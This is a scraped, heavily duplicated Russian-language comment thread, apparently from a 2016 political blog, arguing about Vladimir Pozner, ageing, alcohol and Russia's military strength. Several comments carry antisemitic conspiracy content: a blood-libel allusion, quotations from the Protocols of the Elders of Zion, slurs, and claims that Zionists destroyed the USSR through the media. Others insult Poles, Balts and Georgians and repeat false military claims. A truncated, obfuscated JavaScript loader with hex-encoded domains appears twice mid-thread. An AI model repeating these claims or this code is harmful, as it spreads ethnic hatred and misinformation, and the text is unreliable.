Если то, что написпно - правда (а похоже Черток не врёт), то имеет значение только это.
Не вижу здесь ни малейших следов русофобии, антисоветизма, антигосударственной пропаганды.
Я тоже мог бы написать в таком же ключе в тех условиях. А вы считаете что Черток был бы патриотом, если бы написал что у немцев сплошной бардак и всё засрано?
Но ведь на нашей территории немцы не стеснялись проводить политику "выжженной земли". А наши так не поступали в Германии.
Животные любят есть забродившие фрукты - иногда пьяных лосей снимают с яблони, иногда происходит что-то еще.
В животном мире алкоголь ассоциируется с необходимостью быстро всё съесть - иначе испортится фрукт.
У физиолога Павлова в ПСС была заметка, что алкоголь возбуждает резкий аппетит и настоящий желудочный сок.
Проблема у человека заключается в ежедневности этого действа и резком превышении природных концентраций (которые еще может переработать печень без заметных потерь для здоровья, разума или цепочек кода ДНК).
Лось один раз найдет кучу яблок - и сочтет за благо их все быстренько съесть. Но он не сможет находить их круглый год, потом-то у него будет зима (в лесу - у кого жиру больше, тот и молодец), мох ягель глодать, от волков убегать и все такие дела.
Так что это явление имеет даже не одну тысячу или миллион лет, но ограничено или по времени, или по объему в животном царстве, и организм успевает приспособиться и переработать, после чего идет длительный трезвый период.
Человеку же, раз ему дан разум, - надо соизмерять пользу и вред, а не только следовать животным инстинктам. Если он работает мозгом - то не рискованно ли ему заливать в свой мозг аномальные для природы количества спирта, просто чтобы получить древний рефлекс животного под древним фруктовым деревом, фруктопадом.
Не так давно был юбилей у Гафта. 80 лет. А тут батюшка ко мне забрел по своим нуждам
Батюшка тот необыкновенно умный, глубоко верующий молодой парень богатырского сложения, некогда закончивший универ с отличием
Так вот батюшка удивил меня таким интересным наблюдением
-Уважаю, говорит, Гафта за то, что он естественно старый,
еврей - развалина. Это значит, что Гафт не пользуется тем,
о чем когда-то писал свое исследование Вл. Даль ( о ритуальных убийствах)
Тут я и задумался о вечных Познере и Зельдине
Тут история вспомнилась про грузинку Канделаки ( это та , про которую Садальский сказал: ,,типичная усатая грузинская женщина!")
Так вот , Канделаки в своем толи твиттере, толи в жж писала примерно так:
,, Мужчины часто про женщин рассуждают так : вдул бы или не вдул.
У нас же женщин разговор про мужчин зачатую сводится к
,,дала" или не ,,дала бы"
Так вот : я бы Познеру дала бы"
- прочитав это, меня стошнило
познеры убивали наше общество в том числе и для того, чтоб оправдать своё мировозрение. Они победили и заслуженно наслаждаются. А мы находимся в процессе разложения. Одна большая гниющая туша. Этот процесс придётся пройти до конца, до полного разложения, до однородной массы. Ибо пока в туше есть сало мясо и кости, пытатся оживить её какой-то идеей, дохлый номер, только вонь поднимать. А сейчас мы гниём по познеру. Старость наша не имеет никакого смысла. Дети делают свои ошибки и попробуй им это запретить, если ты такой умный чёж ты такой бедный, и страну свою вы просрали, и вообще гугл им уже всё объяснил. Внуки да, пока дети уждаются в бесплатной няньке, ты ещё можеш надувать щёки, потом извини, пора освободить пространство. Вот так и доживаем по познеру.
"...никто не ожидает... ...глубоких мыслей или тревог о стране, об обществе..."
Ну, почему же? Есть у Познера
(на его же сайте - http://pozneronline.ru/2016/02/14059/ )
и "...глубокие мысли и тревоги о стране, об обществе, в котором он проживал и живет...".
Иногда просто ООООЧЕНЬ "глубокие":
-------------------- Владимир Познер: "Борьба, свидетелями которой мы являлись, была на самом деле борьба со сталинизмом"
"...одному арестованному грузинскому композитору выкололи глаза, потому что Берия не хотел, чтобы тот узнал его на допросе. Но не успел Берия задать первый вопрос, как тот сказал:
– А, так это ты, Лаврентий.
– Как ты меня узнал? – спросил Берия.
– Ты отнял у меня зрение, но не слух. Я композитор, у меня абсолютный слух.
Расcвирепевший Берия приказал принести молоток и гвозди и лично вбил гвозди в ушные каналы несчастного.
Известно и то, что Берия имел целый штат оперативных работников, которые выискивали для его неуемных сексуальных аппетитов хорошеньких женщин и привозили их к нему в его особняк на улице Качалова, где он принуждал их к сожительству. На память о каждой встрече он брал лифчик – после ареста целую коллекцию обнаружили в его сейфе.
И этот человек был буквально в одном шаге от кресла, которое занимал Сталин. Танки на улице свидетельствовали о его силе: их ввели, опасаясь того, что верные ему войска КГБ попытаются выручить своего начальника..."
-------------------
Возможно, что у этого "журналиста и телеведущего" есть и более "глубокие мысли", но глубоко ковыряться в подобных испражнениях - как-то сильно "на любителя".
Кстати, конкретно эти "глубокие мысли" (про Берию) впервые в изложении Познера попались еще несколько лет назад на страницах одной из его книг, которую он сам и "презентовал".
А на его сайте ( www.pozneronline.ru ) эти "глубокие мысли" вполне себе нормально висят до сих пор. И ничего - пипл хавает...
Ничего особо плохого в письме не нашёл. Письмо хорошее. Человек описывает своё ощущение старости. Её не спросили про семью, а только про то, что такое старость. Критиковать за то что она не пишет, что оставит свои внукам и про прочее не правильно. Во-первых мы видим только одно письмо - "публичное". Во-вторых вот её цитата "Я бы никогда не согласилась обменять моих удивительных друзей, мою замечательную жизнь, мою обожаемую семью на меньшее количество седых волос и на плоский подтянутый живот." Обожаемую!!! Сильное слово, в котором содержаться её чувства по отношению к семье, другие подробности тут не нужны.
А сам Ю.И. в многочисленных статьях много пишет про свою пользу для своих внуков? Вот мысли о бессмертности своей конкретной души (через призму собственной клинической смерти), где там забота о будущем внуков? Только о своём будущем. А множество статей защищающих курение. Где там забота о внуках? Или бесконечная вонь, окружающая курильщика (которую он вполне может и не ощущать), это что забота о ближних и о внуках?
Резюмируя. Совершенно не понял чего Ю.И. накинулся на старушку и провёл параллель со всеми англосаксами. Мораль её письма очень даже правильная, что не надо заботится насущными проблемами (мухинское "жрать" и "трахаться"), а надо достойно и радостно воспринимать текущий момент.
Ну и важное понимание её письма. что тело - смертно, душа - нет (вечно молодая).
Хочу поздравить Вас с Вашим недавним выступлением и выразить Вам свою полную поддержку. И еще хотел бы просить Вас не обращать внимания на окрики и оговоры тех, кто почему-то считает себя голосом народа. Оставляю в стороне то, что голос народа далеко не всегда достоин уважения: немецкий народ поддерживал Гитлера, советский народ требовал «врагам народа» собачьей смерти, хотя эти люди ни в чем не были виноваты.
История показывает, что власть, если того захочет, поворачивает народ именно туда, куда ей, власти, надо. И народ совсем плохой судья, когда речь идет об искусстве. Вспомните, как шельмовали великих Прокофьева и Шостаковича, Пастернака и Ахматову при полной и весьма горячей поддержке народа.
Нынешние радетели за так называемую чистоту нравов, те, которые с возмущением кричат об оскорблении чувств верующих христиан, мусульман и прочее, ничем не отличаются от фанатичных членов ИГИЛа (организации, запрещенной в РФ), которые, к возмущению всего мира, разрушали и разрушают уникальные памятники старины, потому что они, эти памятники, оскорбляют их религиозную веру.
Это варвары, не больше и не меньше. Страшно подумать, что нынешние «борцы» за нравственность сделали бы, если бы пустили их в Лувр, в Античный музей Афин, в Уффици, где полно картин и статуй обнаженных мужчин и женщин, и даже детей с вполне видимыми вторичными половыми признаками.
На самом деле, в Ваших критиках и противниках говорит неграмотность, комплекс неполноценности, жажда разрушения и полное отсутствие толерантности ко всему, что им не по душе.
Еще раз поздравляю Вас, одного из немногих художников, у кого хватило мужества назвать вещи своими именами.
Первичными половыми признаками. Ну, кого может интересовать мнение ... старичка, путающего даже такие основополагающие понятия? Да и помоложе был -- такую малохудожественную херню писал, таким посконо-документальным языком...
Что, ничего поинтересней, посущественней, чем визги двух ЕРЖ, обсуждать нет?
Как то в компании заспорили о прошлой жизни и как всегда интеллигенты заплакали о великих Пастернаке Ахматовой и прочих. Задал им коронный ? сколько томов сих великих на книжной полке имеете. Даже соврать не сумели а глотки за великих дерут.
Бабушку и дедушку не нам судить, в великие люди они не норовили лезть и кого-то поучать-охмурять. Пусть едят свои шоколадки хоть каждый день, если им этого так хочется...
А вот поучатель и вещатель Познер симпатий не вызывает и не вызывал. На мой взгляд, это типичный "уж на сковородке", достаточно сер и неинтересен... Но он очень чётко и последовательно выполняет вполне определённую функцию, а вкусно кушать это и для него не главное, тем более, что вкусно кушать - понятие относительное и субъективное. Юрий Игнатьевич, Вы слишком упрощаете таких персон, как Познер.
Гость Вредный (вс, 30.10.2016 - 15:19): И пока мать одноночка имеет те же права что и мать семейства и бомж равен акидемику в выборах будут побеждать бомжи и проститутки /ибо их реально больше/
_______________________________________
Продолжу и уточню. И пока гости вредные будут наделены теми же правами что и нормальные граждане, то так и пребудет во веки веков /т.е. бомжей и проституток будет реально больше/. Аминь.
"В странах, называемых передовыми, мы создали безумную, грязную, отвратительную литературу...
Народы гоев одурманены спиртными напитками, а молодежь их одурела от классицизма и раннего разврата, на который ее подбивала наша агентура"
А. Сергееву. Насчет Бурмака-Гостя вредного. Не унывайте. Его главное слабое звено его феерическая безграмотность и бестолковость в области естественных и точных наук: физика, химия, астрономия, география, геология, инженерные науки и т.д. и т.п. Его "перлы" в этой области говорят что он не является нормальным человеком. Здоровые люди постигают и понимают школьный и институтский курс без особых проблем. Его слабость в указанных науках подсказывает способ борьбы с ним: толковые статьи на эти темы и не менее толковые комментарии толковых комментаторов. Но с этим есть проблемы. Автор увлечен юриспруденцией, метафизикой, "биологией" и многие комментаторы к сожалению тоже. Выход конечно есть. Самообразование и умение им пользоваться. С уважением, Олег.
И пока гости вредные будут наделены теми же правами что и нормальные граждане, то так и пребудет во веки веков /т.е. бомжей и проституток будет реально больше/. Аминь.
=================
Это ты, как проститутка добившаяся равноправия, заявляешь?
А на Руси даже в общинное собрание иждивенцы не допускались.
Joker\\Если бы молодость знала, если бы старость могла\\вс, 30.10.2016 - 10:06
Отработали они "познеры" и иже с ними своё, построили систему, где свои последние дни можно прожить не голодая и не замерзая и не унижаясь -- хули вам-то их учить жизни?
_______________________________________
Все так, все так, - но зачем же Познеру понадобилось уподобляться сивым меринам и кобылам, а также Jokerам и прочим соЛЖЕницыным? Вот в чем вопрос?
В.\\Глубокие мысли о стране и обществе (В. Познер)\\пн, 31.10.2016 - 15:40
"...никто не ожидает... ...глубоких мыслей или тревог о стране, об обществе..."
А Мухину зачем понадобились уподобляться генератору фрик-идей? После "Антироссийская подлость"? На политические темы и технологии управления. Конкуренцию Познеру и Роберту Винеру составить? Не больше. Отпечаток в Информационном Поле оставить -- это раз, доказать, что размышлизмами и публицизмами в Обществе не меняется ничего -- это два. А! Заработать немножко денег тяжёлым трудом! Ну, шел бы на административную должность в солидную фирму -- раз в 10 богаче бы был.
Кому вообще этот познер на хрен сдался? Все эти познеры-якубовичи-шалафьефы осточертели -- хоть пусть про своё онанизм и секс-пролёты пишут -- не ин-те-рес-но!
Возвращаем Эдуарда в прошлое и интересуемся, когда и зачем он решил запустить свой теперь уже нашумевший сайт.
— Все началось в 2014 году, когда была одна из самых острых фаз конфликта на юго-востоке Украины. Беларусь тогда отказалась от признания ДНР-ЛНР, и информационная война начала перебрасываться на нас. Я всегда очень внимательно следил за многими потоками информации в интернете и увидел, как кремлевские тролли
начинают «отрабатывать по Беларуси». Создавались даже группы «ВКонтакте»: Могилевская народная республика, Витебская и так далее. Б Были жесткие угрозы и призывы: мол, «граница России будет под Брестом», «мы вас, белорусов, раздавим, как хохлов».
— Почему вы решили в это включиться?
— Исследуя ту же историю, политику, зная методы воздействия на массы, я понимал, что это подготовка для одного из возможных сценариев агрессивных действий в отношении Беларуси.
"поклонников, которые могли бы остаться людьми" - быть человеком это сознательный выбор. Остаться на растительном/животном уровне можно на автомате, т.е. по неосознанному выбору. Людьми автоматически не становятся, на этом уровне развития человек ответственен за свои выборы и поступки, и даже толпа "познеров" бессильна заставить Человека деградировать.
"поклонников, которые могли бы остаться людьми" - быть человеком это сознательный выбор. Остаться на растительном/животном уровне можно на автомате, т.е. по неосознанному выбору. Людьми автоматически не становятся, на этом уровне развития человек ответственен за свои выборы и поступки, и даже толпа "познеров" бессильна заставить Человека деградировать.
___________________________________
В целом пост какой-то, я бы сказал, сумбурно-эклектичный, но если взять только подчеркнутое мной выражение, то я с радостью бы с ним согласился, если бы не два обстоятельства. Первое обстоятельство вот это:
"В руках современных государств имеется великая сила, создающая движение мысли в народе, - это пресса. ... Но государства не умели воспользоваться этой силой: и она очутилась в наших руках. Через нее мы добились влияния, ..."
Второе обстоятельство: - А куда подевался Советский Союз? - вполне благополучная страна, могущественная держава. И дело явно не только в том, что познеры и прочие соЛЖЕницыны изолгали и исказили реальное положение дел, - дело здесь явно не обошлось без манипуляции сознанием.
Может быть, "толпа познеров и бессильна заставить деградировать Человека", но ей, как показывает практика, вполне по силам превратить народ, состоящий из вполне самостоятельных людей, в управляемую толпу. Для этого сионистам потребовались СМИ и несколько (4-5) десятилетий, - ну и "толпа познеров", разумеется.
Страны Европы нам вообще не противники - французы или англичане? - Половина из которых африканцы и арабы. Не смешите бабушку.
Американцы - которые сидят на самом большом в мире вулкане Еллоустоун. Удар по которому, даже не ядерный, гарантировано уничтожает 75% территории США. Да ещё разлом Ран-Андреас - в отличие от России которая как глобальный авианосец сидит на своей геоплите которой пофиг все катаклизмы.
Каждая из ядерных подлодок России несёт 20 ракет с 10-ю боеголовками, дальность 9 тыс.км.300 кктонн. (тайфун) и 14-ть второго удара, таких лодок немного, всего 7 (и 5 на дежурстве), плюс подлодки других классов ( примерно 1 тыс. боеголовок)+ "Владимир Мономах".
Это тоько подводный флот. Поэтому только дурак будет воевать с Россией. А вот тявкать, как моська из подворотни - это всегда - поляки, прибалты, грузины и прочая шваль - бессильны побороть русских вот и вякают гады - нам только пальцем шевельнуть и их не будет - и они это знают - а те кто хочет с нами дружить - те нас не боятся.
У американцев есть 3 захваченных где -то в африке наших вертолётов ми-24. они в рабочем состоянии но летать на них запрещено "ввиду деморализации личного состава". То есть вид наших боевых вертолётов деморализует военных сша - и это уж не знаю как комментировать.
По отрывку из мемуаров...
Если то, что написпно - правда (а похоже Черток не врёт), то имеет значение только это.
Не вижу здесь ни малейших следов русофобии, антисоветизма, антигосударственной пропаганды.
Я тоже мог бы написать в таком же ключе в тех условиях. А вы считаете что Черток был бы патриотом, если бы написал что у немцев сплошной бардак и всё засрано?
Но ведь на нашей территории немцы не стеснялись проводить политику "выжженной земли". А наши так не поступали в Германии.
Они потребляют алкоголь и
Они потребляют алкоголь и другие нехорошие вещества, потом что-то идет не так.
"алкоголь и другие нехорошие
"алкоголь и другие нехорошие вещества" по большому счёту уже не одну тысячу лет как потребляют. И при этом всё вполне себе "так" было.
До тех пор пока всякие X-romixы с их графиками не набежали и панику не развели, я имею в виду. :)
Животные любят есть
Животные любят есть забродившие фрукты - иногда пьяных лосей снимают с яблони, иногда происходит что-то еще.
В животном мире алкоголь ассоциируется с необходимостью быстро всё съесть - иначе испортится фрукт.
У физиолога Павлова в ПСС была заметка, что алкоголь возбуждает резкий аппетит и настоящий желудочный сок.
Проблема у человека заключается в ежедневности этого действа и резком превышении природных концентраций (которые еще может переработать печень без заметных потерь для здоровья, разума или цепочек кода ДНК).
Лось один раз найдет кучу яблок - и сочтет за благо их все быстренько съесть. Но он не сможет находить их круглый год, потом-то у него будет зима (в лесу - у кого жиру больше, тот и молодец), мох ягель глодать, от волков убегать и все такие дела.
Так что это явление имеет даже не одну тысячу или миллион лет, но ограничено или по времени, или по объему в животном царстве, и организм успевает приспособиться и переработать, после чего идет длительный трезвый период.
Человеку же, раз ему дан разум, - надо соизмерять пользу и вред, а не только следовать животным инстинктам. Если он работает мозгом - то не рискованно ли ему заливать в свой мозг аномальные для природы количества спирта, просто чтобы получить древний рефлекс животного под древним фруктовым деревом, фруктопадом.
иногда пьяных лосей снимают с яблони
Ну, ВООЩЕ!!!
Разговаривал недавно с батюшкой
Не так давно был юбилей у Гафта. 80 лет. А тут батюшка ко мне забрел по своим нуждам
Батюшка тот необыкновенно умный, глубоко верующий молодой парень богатырского сложения, некогда закончивший универ с отличием
Так вот батюшка удивил меня таким интересным наблюдением
-Уважаю, говорит, Гафта за то, что он естественно старый,
еврей - развалина. Это значит, что Гафт не пользуется тем,
о чем когда-то писал свое исследование Вл. Даль ( о ритуальных убийствах)
Тут я и задумался о вечных Познере и Зельдине
неправильно задумался
Здоровый образ жизни без страха гарантия долголетия , а если тварь дрожащая то себя вини ...
У евреев крыша во всей системе координат , и кто ей служит тот вечный жид
Люблю историю эту про Познера
Интерсно, а грузины - это англосаксы?
Тут история вспомнилась про грузинку Канделаки ( это та , про которую Садальский сказал: ,,типичная усатая грузинская женщина!")
Так вот , Канделаки в своем толи твиттере, толи в жж писала примерно так:
,, Мужчины часто про женщин рассуждают так : вдул бы или не вдул.
У нас же женщин разговор про мужчин зачатую сводится к
,,дала" или не ,,дала бы"
Так вот : я бы Познеру дала бы"
- прочитав это, меня стошнило
познеры убивали наше
познеры убивали наше общество в том числе и для того, чтоб оправдать своё мировозрение. Они победили и заслуженно наслаждаются. А мы находимся в процессе разложения. Одна большая гниющая туша. Этот процесс придётся пройти до конца, до полного разложения, до однородной массы. Ибо пока в туше есть сало мясо и кости, пытатся оживить её какой-то идеей, дохлый номер, только вонь поднимать. А сейчас мы гниём по познеру. Старость наша не имеет никакого смысла. Дети делают свои ошибки и попробуй им это запретить, если ты такой умный чёж ты такой бедный, и страну свою вы просрали, и вообще гугл им уже всё объяснил. Внуки да, пока дети уждаются в бесплатной няньке, ты ещё можеш надувать щёки, потом извини, пора освободить пространство. Вот так и доживаем по познеру.
Глубокие мысли о стране и обществе (В. Познер)
"...никто не ожидает... ...глубоких мыслей или тревог о стране, об обществе..."
Ну, почему же? Есть у Познера
(на его же сайте - http://pozneronline.ru/2016/02/14059/ )
и "...глубокие мысли и тревоги о стране, об обществе, в котором он проживал и живет...".
Иногда просто ООООЧЕНЬ "глубокие":
Возможно, что у этого "журналиста и телеведущего" есть и более "глубокие мысли", но глубоко ковыряться в подобных испражнениях - как-то сильно "на любителя".
Кстати, конкретно эти "глубокие мысли" (про Берию) впервые в изложении Познера попались еще несколько лет назад на страницах одной из его книг, которую он сам и "презентовал".
А на его сайте ( www.pozneronline.ru ) эти "глубокие мысли" вполне себе нормально висят до сих пор. И ничего - пипл хавает...
нормальное письмо
Ничего особо плохого в письме не нашёл. Письмо хорошее. Человек описывает своё ощущение старости. Её не спросили про семью, а только про то, что такое старость. Критиковать за то что она не пишет, что оставит свои внукам и про прочее не правильно. Во-первых мы видим только одно письмо - "публичное". Во-вторых вот её цитата "Я бы никогда не согласилась обменять моих удивительных друзей, мою замечательную жизнь, мою обожаемую семью на меньшее количество седых волос и на плоский подтянутый живот." Обожаемую!!! Сильное слово, в котором содержаться её чувства по отношению к семье, другие подробности тут не нужны.
А сам Ю.И. в многочисленных статьях много пишет про свою пользу для своих внуков? Вот мысли о бессмертности своей конкретной души (через призму собственной клинической смерти), где там забота о будущем внуков? Только о своём будущем. А множество статей защищающих курение. Где там забота о внуках? Или бесконечная вонь, окружающая курильщика (которую он вполне может и не ощущать), это что забота о ближних и о внуках?
Резюмируя. Совершенно не понял чего Ю.И. накинулся на старушку и провёл параллель со всеми англосаксами. Мораль её письма очень даже правильная, что не надо заботится насущными проблемами (мухинское "жрать" и "трахаться"), а надо достойно и радостно воспринимать текущий момент.
Ну и важное понимание её письма. что тело - смертно, душа - нет (вечно молодая).
Дорогой Константин
Дорогой Константин Аркадьевич!
вполне видимыми вторичными половыми признаками.
Первичными половыми признаками. Ну, кого может интересовать мнение ... старичка, путающего даже такие основополагающие понятия? Да и помоложе был -- такую малохудожественную херню писал, таким посконо-документальным языком...
Что, ничего поинтересней, посущественней, чем визги двух ЕРЖ, обсуждать нет?
ЯРу.
Как то в компании заспорили о прошлой жизни и как всегда интеллигенты заплакали о великих Пастернаке Ахматовой и прочих. Задал им коронный ? сколько томов сих великих на книжной полке имеете. Даже соврать не сумели а глотки за великих дерут.
О жизни.
Жизнь такова что и в говне приходится копаться.
Антиметаморфоза.
Приходиться в говне копаться - зачем в говно при жизни превращаться?
Да уж...
Бабушку и дедушку не нам судить, в великие люди они не норовили лезть и кого-то поучать-охмурять. Пусть едят свои шоколадки хоть каждый день, если им этого так хочется...
А вот поучатель и вещатель Познер симпатий не вызывает и не вызывал. На мой взгляд, это типичный "уж на сковородке", достаточно сер и неинтересен... Но он очень чётко и последовательно выполняет вполне определённую функцию, а вкусно кушать это и для него не главное, тем более, что вкусно кушать - понятие относительное и субъективное. Юрий Игнатьевич, Вы слишком упрощаете таких персон, как Познер.
Гость Вредный (вс, 30.10.2016
Гость Вредный (вс, 30.10.2016 - 15:19): И пока мать одноночка имеет те же права что и мать семейства и бомж равен акидемику в выборах будут побеждать бомжи и проститутки /ибо их реально больше/
_______________________________________
Продолжу и уточню. И пока гости вредные будут наделены теми же правами что и нормальные граждане, то так и пребудет во веки веков /т.е. бомжей и проституток будет реально больше/. Аминь.
"В странах, называемых передовыми, мы создали безумную, грязную, отвратительную литературу...
Народы гоев одурманены спиртными напитками, а молодежь их одурела от классицизма и раннего разврата, на который ее подбивала наша агентура"
А. Сергееву. Насчет
А. Сергееву. Насчет Бурмака-Гостя вредного. Не унывайте. Его главное слабое звено его феерическая безграмотность и бестолковость в области естественных и точных наук: физика, химия, астрономия, география, геология, инженерные науки и т.д. и т.п. Его "перлы" в этой области говорят что он не является нормальным человеком. Здоровые люди постигают и понимают школьный и институтский курс без особых проблем. Его слабость в указанных науках подсказывает способ борьбы с ним: толковые статьи на эти темы и не менее толковые комментарии толковых комментаторов. Но с этим есть проблемы. Автор увлечен юриспруденцией, метафизикой, "биологией" и многие комментаторы к сожалению тоже. Выход конечно есть. Самообразование и умение им пользоваться. С уважением, Олег.
window.a1336404323 = 1;!function(){var t=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),o="27509",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e
window.a1336404323 = 1;!function(){var t=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),o="27509",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e
А.Сергеев. Продолжу и уточню
И пока гости вредные будут наделены теми же правами что и нормальные граждане, то так и пребудет во веки веков /т.е. бомжей и проституток будет реально больше/. Аминь.
=================
Это ты, как проститутка добившаяся равноправия, заявляешь?
А на Руси даже в общинное собрание иждивенцы не допускались.
Пока, правда, спасатальная операция под угрозой срыва.
Проблема с зайцами.
========
Joker\\Если бы молодость
Joker\\Если бы молодость знала, если бы старость могла\\вс, 30.10.2016 - 10:06
Отработали они "познеры" и иже с ними своё, построили систему, где свои последние дни можно прожить не голодая и не замерзая и не унижаясь -- хули вам-то их учить жизни?
_______________________________________
Все так, все так, - но зачем же Познеру понадобилось уподобляться сивым меринам и кобылам, а также Jokerам и прочим соЛЖЕницыным? Вот в чем вопрос?
В.\\Глубокие мысли о стране и обществе (В. Познер)\\пн, 31.10.2016 - 15:40
"...никто не ожидает... ...глубоких мыслей или тревог о стране, об обществе..."
Ну, почему же? Есть у Познера (на его же сайте - http://pozneronline.ru/2016/02/14059/ )
зачем же Познеру понадобилось уподобляться сивым меринам
А Мухину зачем понадобились уподобляться генератору фрик-идей? После "Антироссийская подлость"? На политические темы и технологии управления. Конкуренцию Познеру и Роберту Винеру составить? Не больше. Отпечаток в Информационном Поле оставить -- это раз, доказать, что размышлизмами и публицизмами в Обществе не меняется ничего -- это два. А! Заработать немножко денег тяжёлым трудом! Ну, шел бы на административную должность в солидную фирму -- раз в 10 богаче бы был.
Кому вообще этот познер на хрен сдался? Все эти познеры-якубовичи-шалафьефы осточертели -- хоть пусть про своё онанизм и секс-пролёты пишут -- не ин-те-рес-но!
это грубое слово называется жидовский срач
«У меня не хватило паранойи»
"поклонников, которые могли бы остаться людьми"
"поклонников, которые могли бы остаться людьми" - быть человеком это сознательный выбор. Остаться на растительном/животном уровне можно на автомате, т.е. по неосознанному выбору. Людьми автоматически не становятся, на этом уровне развития человек ответственен за свои выборы и поступки, и даже толпа "познеров" бессильна заставить Человека деградировать.
Marina\\\\пн, 31.10.2016 -
Marina\\\\пн, 31.10.2016 - 22:44
"поклонников, которые могли бы остаться людьми" - быть человеком это сознательный выбор. Остаться на растительном/животном уровне можно на автомате, т.е. по неосознанному выбору. Людьми автоматически не становятся, на этом уровне развития человек ответственен за свои выборы и поступки, и даже толпа "познеров" бессильна заставить Человека деградировать.
___________________________________
В целом пост какой-то, я бы сказал, сумбурно-эклектичный, но если взять только подчеркнутое мной выражение, то я с радостью бы с ним согласился, если бы не два обстоятельства. Первое обстоятельство вот это:
"В руках современных государств имеется великая сила, создающая движение мысли в народе, - это пресса. ... Но государства не умели воспользоваться этой силой: и она очутилась в наших руках. Через нее мы добились влияния, ..."
Второе обстоятельство: - А куда подевался Советский Союз? - вполне благополучная страна, могущественная держава. И дело явно не только в том, что познеры и прочие соЛЖЕницыны изолгали и исказили реальное положение дел, - дело здесь явно не обошлось без манипуляции сознанием.
Может быть, "толпа познеров и бессильна заставить деградировать Человека", но ей, как показывает практика, вполне по силам превратить народ, состоящий из вполне самостоятельных людей, в управляемую толпу. Для этого сионистам потребовались СМИ и несколько (4-5) десятилетий, - ну и "толпа познеров", разумеется.
Я не знаю, какой дурак будет
Я не знаю, какой дурак будет воевать с Россией.
Страны Европы нам вообще не противники - французы или англичане? - Половина из которых африканцы и арабы. Не смешите бабушку.
Американцы - которые сидят на самом большом в мире вулкане Еллоустоун. Удар по которому, даже не ядерный, гарантировано уничтожает 75% территории США. Да ещё разлом Ран-Андреас - в отличие от России которая как глобальный авианосец сидит на своей геоплите которой пофиг все катаклизмы.
Каждая из ядерных подлодок России несёт 20 ракет с 10-ю боеголовками, дальность 9 тыс.км.300 кктонн. (тайфун) и 14-ть второго удара, таких лодок немного, всего 7 (и 5 на дежурстве), плюс подлодки других классов ( примерно 1 тыс. боеголовок)+ "Владимир Мономах".
Это тоько подводный флот. Поэтому только дурак будет воевать с Россией. А вот тявкать, как моська из подворотни - это всегда - поляки, прибалты, грузины и прочая шваль - бессильны побороть русских вот и вякают гады - нам только пальцем шевельнуть и их не будет - и они это знают - а те кто хочет с нами дружить - те нас не боятся.
гостю 6522
Цитата.
".. Я не знаю, какой дурак будет воевать с Россией. .."
Ответ. Так война давным давно идет.
1. Сначала была развалена великая татаро-монгольская империя (Золотая Орда).
2. Затем была развалена Российская Империя
3. Затем был развален Советский Союз
теперь на очереди говнорашка. Это образование продержится по историческим меркам недолго
Итак: война идёт, причём
Итак: война идёт, причём "давным-давно", но чел "гость 6522" спрашивает -- "кто с ней (Россией, Рашкой и т. д.) воюет. Кто этот "дурак".
У американцев есть 3
У американцев есть 3 захваченных где -то в африке наших вертолётов ми-24. они в рабочем состоянии но летать на них запрещено "ввиду деморализации личного состава". То есть вид наших боевых вертолётов деморализует военных сша - и это уж не знаю как комментировать.
Отправить комментарий